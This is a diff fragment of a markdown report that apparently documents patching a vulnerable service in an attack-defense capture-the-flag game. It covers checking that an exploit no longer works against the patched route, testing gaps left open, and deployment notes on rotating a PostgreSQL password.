- The same sploit was run against the actual baseline route code from commit `4f70df55dd822880f4759d553f7ed249166cad86` and the current patched route with an in-memory database and temporary contract directory: baseline emitted exactly the synthetic candidate, while patched returned exit 0 with empty stdout. - The same sploit was run against the actual baseline route code from commit `4f70df55dd822880f4759d553f7ed249166cad86` and the current patched route with an in-memory database and temporary contract directory: baseline emitted exactly the synthetic candidate, while patched returned exit 0 with empty stdout.
@@ -85,6 +96,7 @@ The local baseline reproducer started with a synthetic balance of 100 and two id
## Remaining gaps ## Remaining gaps
- The exact checker scenario and flag-bearing field are not available, so signature/PDF, private review, and cargo hypotheses are code-derived rather than checker-confirmed. - The exact checker scenario and flag-bearing field are not available, so signature/PDF, private review, and cargo hypotheses are code-derived rather than checker-confirmed.
- Full PostgreSQL migration, container rebuild, persistent-volume get-old, and checker status were not tested because the required Docker base images are not cached and dependency/image downloads were not authorized. - Full service-container rebuild, persistent-volume get-old, and checker status were not tested. The PostgreSQL route integration used a temporary database initialized from `db/init.sql` and synthetic contract files.
- The contract metadata cache is process-local. If an operator manually changes or restores `users.contract_file`, restart the API workers before verification so they reload that metadata.
- Bounded requests were sent only to the team vulnbox. No request was sent to Neo, Farm, farm-submit, Skipper, or another team. - Bounded requests were sent only to the team vulnbox. No request was sent to Neo, Farm, farm-submit, Skipper, or another team.
- Deployment must rotate the existing PostgreSQL role password before recreating API/PostgreSQL containers; changing only `POSTGRES_PASSWORD` does not update an initialized volume. - Deployment must rotate the existing PostgreSQL role password before recreating API/PostgreSQL containers; changing only `POSTGRES_PASSWORD` does not update an initialized volume.